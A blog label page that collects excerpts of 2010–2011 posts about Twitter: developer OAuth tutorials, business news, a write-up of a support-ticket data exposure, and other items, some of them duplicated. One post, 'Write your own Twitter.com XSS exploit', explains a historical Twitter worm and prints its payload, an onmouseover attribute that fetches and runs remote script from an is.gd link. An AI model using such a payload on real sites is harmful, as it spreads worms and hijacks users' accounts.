Project Description
Simple NLog Twitter Target. Updates your twitter status with NLog log messages.
Available via Nuget.
Read more: Codepelx
Showing posts with label Twitter. Show all posts
Showing posts with label Twitter. Show all posts
Tuesday, May 24, 2011
Tuesday, March 01, 2011
A 30 minute guide to integrating Twitter in your Android application.
The goal of this article is to get twitter integration up & running from your Android app in 30 minutes. The guide will show you how to
- setup a twitter test account
- register a twitter application
- authenticate the user in your Android application.
- have the user send tweets from your Android application.
Before running this project, make sure you change the com.ecs.android.sample.twitter.Constants file to include your consumer key and consumer secret. (see subsequent section).
Once you have sample application up & running, you can copy the relevant classes into your projects to have Twitter up & running.
Twitter uses the OAuth protocol to authorize your android application to send tweets on behalf of the end-user. The end-user will need to authenticate against Twitter (meaning that your application will not capture the twitter username / password). Once the user has authorized access, you’ll be able to send tweets on behalf of the user. We’ll use signpost library to handle the OAuth communication, and the Twitter4J library to handle the Twitter specific interactions (sending tweets).
Setting up the Twitter account and application.
We’ll start by setting up a test-account on Twitter that we’ll use in our Android application. Goto the Twitter signup page and create an account. You’ll receive an email from Twitter to confirm your account. You can skip the friends import as it will only be used for testing purposes.
Now that we have the Twitter account setup, we need to define an application. Go to the Twitter Application Registration page, and register an application. The application that your register here is required to perform Twitter interaction from your Android application. The Twitter application will have a consumer key and consumer secret associated with it that we’ll use in our Android application.
The sample application
The sample application is available in Github in the AndroidTwitterSample repository. Before running this project, make sure you change the com.ecs.android.sample.twitter.Constants file to include your consumer key and consumer secret. The application provides you with an end-to-end example on how to authenticate against Twitter and send tweets on behalf or the authenticated user.
The sample project has a dependency towards the following libraries :
signpost-commonshttp4-1.2.1.1.jar
signpost-core-1.2.1.1.jar
httpclient-4.0.1.jar
twitter4j-core-2.1.11
Dev note : You’ll need to include these libraries into your own project if you want to enable the Twitter integration.
The sample application contains 1 main activity with
a status message, indicating if you’re logged into Twitter.
a Tweet button, used to send a Tweet. When not authenticated, the application will redirect you to the Twitter loging page.
a Clear Credentials button, removing all saved credentials, forcing you to login next time you want to send a Tweet.
The Constants file
The Android project contains a Constants file containing the following information we received from Twitter when we setup our application.
public class Constants {
public static final String CONSUMER_KEY = "<FILL IN YOUR CONSUMER KEY FROM TWITTER HERE>";public static final String CONSUMER_SECRET= "<FILL IN YOUR CONSUMER SECRET FROM TWITTER HERE>";public static final String REQUEST_URL = "http://api.twitter.com/oauth/request_token";public static final String ACCESS_URL = "http://api.twitter.com/oauth/access_token";public static final String AUTHORIZE_URL = "http://api.twitter.com/oauth/authorize";final public static String CALLBACK_SCHEME = "x-latify-oauth-twitter";final public static String CALLBACK_URL = CALLBACK_SCHEME + "://callback";
Thursday, February 10, 2011
Twitter as Tech Bubble Barometer
As Internet valuations climb and bankers and would-be buyers circle Silicon Valley in an increasingly frothy tech market, many eyes are on one particularly desirable, if still enigmatic, target: Twitter. Discussions with at least some potential suitors have produced an estimated valuation of $8 billion to $10 billion.
Executives at both Facebook Inc. and Google Inc., among other companies, have held low-level talks with those at Twitter Inc. in recent months to explore the prospect of an acquisition of the messaging service, according to people familiar with the matter. The talks have so far gone nowhere, these people say.
But what's remarkable is the money that people familiar with the matter say frames the discussions with at least some potential suitors: an estimated valuation in the neighborhood of $8 billion to $10 billion.
This for a company that, people familiar with the matter said, had 2010 revenue of $45 million—but lost money as it spent on hiring and data centers—and estimates its revenue this year at between $100 million and $110 million.
Read more: Wall Street Journal
Executives at both Facebook Inc. and Google Inc., among other companies, have held low-level talks with those at Twitter Inc. in recent months to explore the prospect of an acquisition of the messaging service, according to people familiar with the matter. The talks have so far gone nowhere, these people say.
But what's remarkable is the money that people familiar with the matter say frames the discussions with at least some potential suitors: an estimated valuation in the neighborhood of $8 billion to $10 billion.
This for a company that, people familiar with the matter said, had 2010 revenue of $45 million—but lost money as it spent on hiring and data centers—and estimates its revenue this year at between $100 million and $110 million.
Read more: Wall Street Journal
Sunday, February 06, 2011
How I Discovered a Security Vulnerability in Twitter That Impacted 1.5 Million Users
In addition to being involved in startups, I enjoy finding system vulnerabilities as a side hobby. And I’ve found my fair share (see my about page, scroll down towards the bottom). The startup people I hung out with online in the mid-to-late 90′s were on IRC, before the startup incubators existed. This is where the cyber culture revolved around the discovery and sharing of new information. A little known factoid: before Shawn Fanning created Napster, the music software, he was known as “napster” on IRC. We ran in the same circles, finding and demonstrating security vulnerabilities through software we’d write and share. (I later joined Napster-the-company in 1999). A couple weeks ago, I found another security vulnerability that impacted 1-1.5 million Twitter accounts.
Discovery
On January 19, 2011, I received a reply to a support ticket that I had filed on one of my business accounts. The support agent needed more information, so I jumped in to my ticket dashboard (everyone on Twitter has a ticket dashboard — just go to http://support.twitter.com). When I went there, I didn’t see my ticket listed. Thinking it’s just a glitch, I looked at an old ticket that was listed and back to the new email. I manipulated a few data fields, hoping it would work. As soon as I pressed enter, the ticket I was looking for showed up. Great, must be a temporary display glitch on my account. In any case, I was happy to be able to work with the ticket. I tried to reply to the ticket on the system. Strange, it didn’t attach my message. That’s when I noticed the account name didn’t match mine – it said @null instead of my business account name. Maybe I wasn’t supposed to see this. I finagled around with the data fields and suddenly I was staring at someone else’s support ticket — one that showed his password (he had wrote it as part of his ticket). This is Not Good.
Impact
If you ever submitted a support ticket for Twitter (and a lot of you did), you were impacted by this. All support tickets – at the time, 1.5+ million! – were exposed. To protect user privacy, I will not post the screenshots of tickets that contain private information.
Read more: BostInnovation
Discovery
On January 19, 2011, I received a reply to a support ticket that I had filed on one of my business accounts. The support agent needed more information, so I jumped in to my ticket dashboard (everyone on Twitter has a ticket dashboard — just go to http://support.twitter.com). When I went there, I didn’t see my ticket listed. Thinking it’s just a glitch, I looked at an old ticket that was listed and back to the new email. I manipulated a few data fields, hoping it would work. As soon as I pressed enter, the ticket I was looking for showed up. Great, must be a temporary display glitch on my account. In any case, I was happy to be able to work with the ticket. I tried to reply to the ticket on the system. Strange, it didn’t attach my message. That’s when I noticed the account name didn’t match mine – it said @null instead of my business account name. Maybe I wasn’t supposed to see this. I finagled around with the data fields and suddenly I was staring at someone else’s support ticket — one that showed his password (he had wrote it as part of his ticket). This is Not Good.
Impact
If you ever submitted a support ticket for Twitter (and a lot of you did), you were impacted by this. All support tickets – at the time, 1.5+ million! – were exposed. To protect user privacy, I will not post the screenshots of tickets that contain private information.
Read more: BostInnovation
Wednesday, January 12, 2011
שימוש יצירתי במדיה דיגיטלית–קישור און ליין אוף ליין
סרטון שמראה פעילות יפה מאוד של חברת KLM. דיילות KLM איתרו בעזרת טוויטר ופורסקוור נוסעים שטסים איתם, למדו את תחומי העניין שלהם מטוויטים קודמים או עמוד פייסבוק וקנו להם מתנה צנועה שמתאימה להם. הנוסעים אותרו בשדה התעופה בטרם העליה למטוס וכמובן הופתעו מאוד מהמחווה , ההשקעה וממה שטוויט קטן יכול לעשות….
Read more: בלוג של מיכל
Sunday, January 09, 2011
Twileshare – File-Sharing On Twitter The Way It Ought To Be
We’ve become used to the idea of sharing photos on Twitter (from Twitpic to Instagr.am), video (YouTube to Qik) and audio (Cinch to Soundcloud). But have we done much file-sharing via Twitter? Not to date.
There’s Tweetshare, Filesocial and Tweetcube but they are not something you will see in the average user’s stream – or at least not mine, and I follow nearly 4,000 accounts.
Twileshare is still in beta and launched just before Christmas but already it’s seen a lot of viral traffic from what I can see. There are now 24,000 mentions of it on Google.
Read more: TechCrunch
There’s Tweetshare, Filesocial and Tweetcube but they are not something you will see in the average user’s stream – or at least not mine, and I follow nearly 4,000 accounts.
Twileshare is still in beta and launched just before Christmas but already it’s seen a lot of viral traffic from what I can see. There are now 24,000 mentions of it on Google.
Read more: TechCrunch
Tuesday, January 04, 2011
How Twitter Uses NoSQL
InfoQ has released a video of Twitter's Kevin Weil speaking at Strange Loop earlier this year on how the company uses NoSQL. Weil is quick to point out that Twitter is heavily dependent on MySQL. However, Twitter does employ NoSQL solutions for many purposes for which MySQL isn't ideal. According to Weil, Twitter users generate 12 terrabytes of data a day - about four petabytes per year. And that amount is multiplying every year. Read on for our notes on Weil's talk.
Scribe
Syslog stopped scaling for Twitter after a while, so instead it uses Scribe, a log collection framework created and open-sourced by Facebook. Twitter has contributed some of its own patches to Scribe.
Twitter uses Scribe to write logs to Hadoop. Scribe made it so easy for Twitter to log data, it started to log much more data. It now logs 80 different categories of data.
Hadoop
Twitter needs to store more data per day than it can reliably write to a single hard drive, so it needs to store data on clusters. Twitter uses Cloudera's Hadoop distribution to power its clusters.
Weil says MySQL isn't efficient at doing analytics at the scale Twitter needs. Instead, Twitter uses Hadoop and its own open source project called FlockDB. Hadoop can run analytics and hit FlockDB in parallel to assemble social graph aggregates.
Pig
Read more: ReadWrite cloud
Scribe
Syslog stopped scaling for Twitter after a while, so instead it uses Scribe, a log collection framework created and open-sourced by Facebook. Twitter has contributed some of its own patches to Scribe.
Twitter uses Scribe to write logs to Hadoop. Scribe made it so easy for Twitter to log data, it started to log much more data. It now logs 80 different categories of data.
Hadoop
Twitter needs to store more data per day than it can reliably write to a single hard drive, so it needs to store data on clusters. Twitter uses Cloudera's Hadoop distribution to power its clusters.
Weil says MySQL isn't efficient at doing analytics at the scale Twitter needs. Instead, Twitter uses Hadoop and its own open source project called FlockDB. Hadoop can run analytics and hit FlockDB in parallel to assemble social graph aggregates.
Pig
Read more: ReadWrite cloud
Thursday, December 23, 2010
60 Creative Illustrated Twitter Backgrounds
In today’s post, we have listed 60 most creatively designed Twitter backgrounds which use various and innovative illustrations to create a visually attractive and appealing look to their profiles.
Read more: noupe
Read more: noupe
Thursday, December 16, 2010
#Hindsight2010: The Year’s Most Retweeted Tweets
In this edition of #Hindsight2010, we reveal the 10 Most Retweeted Tweets of the year.
American TV personality Stephen Colbert (@StephenAtHome) tops the list with a wry Tweet about the Gulf Oil Spill, the year’s biggest Trend on Twitter. To commemorate the honor, Twitter is awarding Colbert --the titan of ‘Truthiness’-- the first-ever Golden Tweet award for the year’s Most Retweeted Tweet. Twitter co-founder Biz Stone personally presented Colbert with the award tonight on The Colbert Report.
Musicians dominated 2010's Most Retweeted Tweets list: Drizzy Drake (@drakkardnoir) took the #2 spot, and Lil Wayne (@liltunechi) came in at #3. Fascination with Justin Bieber (@justinbieber) is still raging: he placed fourth, while pop stars Joe Jonas (@joejonas) and Rihanna (@rihanna) made the list at #6 and #9 with their Bieber-related Tweets. Congrats also go to Lady Gaga (@ladygaga) (#7) and Kanye West (@kanyewest) (#8).
Read more: Twitter blog
American TV personality Stephen Colbert (@StephenAtHome) tops the list with a wry Tweet about the Gulf Oil Spill, the year’s biggest Trend on Twitter. To commemorate the honor, Twitter is awarding Colbert --the titan of ‘Truthiness’-- the first-ever Golden Tweet award for the year’s Most Retweeted Tweet. Twitter co-founder Biz Stone personally presented Colbert with the award tonight on The Colbert Report.
Musicians dominated 2010's Most Retweeted Tweets list: Drizzy Drake (@drakkardnoir) took the #2 spot, and Lil Wayne (@liltunechi) came in at #3. Fascination with Justin Bieber (@justinbieber) is still raging: he placed fourth, while pop stars Joe Jonas (@joejonas) and Rihanna (@rihanna) made the list at #6 and #9 with their Bieber-related Tweets. Congrats also go to Lady Gaga (@ladygaga) (#7) and Kanye West (@kanyewest) (#8).
Read more: Twitter blog
Wednesday, October 13, 2010
Write your own Twitter.com XSS exploit
So it seems the new twitter.com has a “virus” going around. Few minutes ago my twitter stream filled up with strange jQuery calls so I looked into it. Apperantly the new Twitter website is colunerable to a simple SQL-Injection like attack. It’ll just spit out to the page whatever HTML code you write on your status…
So, the exploit work like this:
Step 1:
User writes the following status line:
http://t.co/@”style=”font-size:999999999999px;”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/
the @” basically closes the tweet’s html element title attribute and lets the hacker had his own attributes. Specifically an onmouseover attribute that’ll run his JavaScript code when the users hover over the tweet.
Step 2:
The onmouseover event fetches and executes a remote JS code from: http://is.gd/fl9A7
Step 3:
The remote script (which is not subject to size limits like the script embedded in the user’s status can basically do whatever the hacker wants. This one just plays with the page’s HTML to submit a new tweet (from step #1) and spread itself on:
Read more: Developer Zen
So, the exploit work like this:
Step 1:
User writes the following status line:
http://t.co/@”style=”font-size:999999999999px;”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/
the @” basically closes the tweet’s html element title attribute and lets the hacker had his own attributes. Specifically an onmouseover attribute that’ll run his JavaScript code when the users hover over the tweet.
Step 2:
The onmouseover event fetches and executes a remote JS code from: http://is.gd/fl9A7
Step 3:
The remote script (which is not subject to size limits like the script embedded in the user’s status can basically do whatever the hacker wants. This one just plays with the page’s HTML to submit a new tweet (from step #1) and spread itself on:
Read more: Developer Zen
Sunday, September 05, 2010
Твиттер собственными руками на C#. Часть 1: авторизация OAuth
В один момент сложилась желание написать программу клиент для сетей микроблогинга Twitter, языком программирования был выбран C#.
Напомню что OAuth это открытый протокол авторизации, который позволяет предоставить третьей стороне доступ к защищенным ресурсам пользователя, без необходимости передавать ей (третьей стороне) логин и пароль. Третьим лицом в данном случае естественно будем являтся мы со своим приложением.
В принципе это руководство подойдёт для OAuth авторизации не только в Twitter, но и в любом другом портале который использует OAuth, например небезызвестный FriendFeed.
Сам процесс авторизации по протоколу OAuth довольно подробно рассмотрен на Хабре.
Для того что бы авторизоваться учётной записью твиттера нам надо зарегистрировать своё приложение в Twitter Developers.
Заполняем анкетку и нажимаем кнопку Register application, дальше вас перекинет на страницу приложения. На ней нас интересует две строки, а именно Consumer key и Consumer secret — их нам необходимо каким-либо образом сохранить потому что скоро они нам понадобятся.
А теперь немного теорий. По сути процесс авторизации условно можно разделить на три этапа:
1. Делаем запрос на api.twitter.com/oauth/request_token с целью получить первоначальные значения oauth_token и oauth_secret
2. Получив эти значения делаем ещё один запрос в окне браузера, но уже на api.twitter.com/oauth/authorize и пользователю будет предложено ввести свои логин/пароль от учётной записи твиттера, а далее ещё одна форма в которой будет сообщено что наше расчудесное приложение хочет использовать данные учётной записи пользователя и естественно две кнопки: для отказа и поодтверждения. При нажатии на кнопку подтверждения откроется страница на которой будет написан PIN-код. PIN-код пользователь должен передать нашему приложению.
3. И после того как пользователь введёт PIN-код в нашем приложении, мы должны будем сделать третий запрос на api.twitter.com/oauth/access_token для получения oauth_token и oauth_secret которые должны использоваться для идентификация пользователя в системе.
Будем делать всё последовательно и к концу статьи у нас должно получиться приложение которое сможет проходить OAuth авторизацию.
Теперь переходим к самому процессу написания програмы.
Создадим новое консольное приложение.
Read more: Habrahabr.ru
Напомню что OAuth это открытый протокол авторизации, который позволяет предоставить третьей стороне доступ к защищенным ресурсам пользователя, без необходимости передавать ей (третьей стороне) логин и пароль. Третьим лицом в данном случае естественно будем являтся мы со своим приложением.
В принципе это руководство подойдёт для OAuth авторизации не только в Twitter, но и в любом другом портале который использует OAuth, например небезызвестный FriendFeed.
Сам процесс авторизации по протоколу OAuth довольно подробно рассмотрен на Хабре.
Для того что бы авторизоваться учётной записью твиттера нам надо зарегистрировать своё приложение в Twitter Developers.
Заполняем анкетку и нажимаем кнопку Register application, дальше вас перекинет на страницу приложения. На ней нас интересует две строки, а именно Consumer key и Consumer secret — их нам необходимо каким-либо образом сохранить потому что скоро они нам понадобятся.
А теперь немного теорий. По сути процесс авторизации условно можно разделить на три этапа:
1. Делаем запрос на api.twitter.com/oauth/request_token с целью получить первоначальные значения oauth_token и oauth_secret
2. Получив эти значения делаем ещё один запрос в окне браузера, но уже на api.twitter.com/oauth/authorize и пользователю будет предложено ввести свои логин/пароль от учётной записи твиттера, а далее ещё одна форма в которой будет сообщено что наше расчудесное приложение хочет использовать данные учётной записи пользователя и естественно две кнопки: для отказа и поодтверждения. При нажатии на кнопку подтверждения откроется страница на которой будет написан PIN-код. PIN-код пользователь должен передать нашему приложению.
3. И после того как пользователь введёт PIN-код в нашем приложении, мы должны будем сделать третий запрос на api.twitter.com/oauth/access_token для получения oauth_token и oauth_secret которые должны использоваться для идентификация пользователя в системе.
Будем делать всё последовательно и к концу статьи у нас должно получиться приложение которое сможет проходить OAuth авторизацию.
Теперь переходим к самому процессу написания програмы.
Создадим новое консольное приложение.
Read more: Habrahabr.ru
Wednesday, August 25, 2010
Developing A ‘touchy’ Twitter browser – Using Visual Studio 2010 + Surface Toolkit for Windows Touch devices beta
The Microsoft Surface Toolkit for Windows Touch Beta is a set of controls, APIs, templates, sample applications and documentation currently available for Surface developers. With the .NET Framework 4.0, Windows Presentation Framework 4.0 (WPF), and this toolkit, Windows Touch developers can quickly and consistently create advanced multitouch applications for Windows Touch PCs. This toolkit also provides a jump-start for Surface application developers to prepare for the next version of Microsoft Surface. Use it to take advantage of the innovative Surface technology and user interface to develop your own rich and intuitive multitouch experiences for a variety of Windows Touch devices.
In this post, I’ll explore how to install the toolkit and develop a simple Twitter browser application using the toolkit.
Read more: amazedsaint's .net journal
Subscribe to:
Posts (Atom)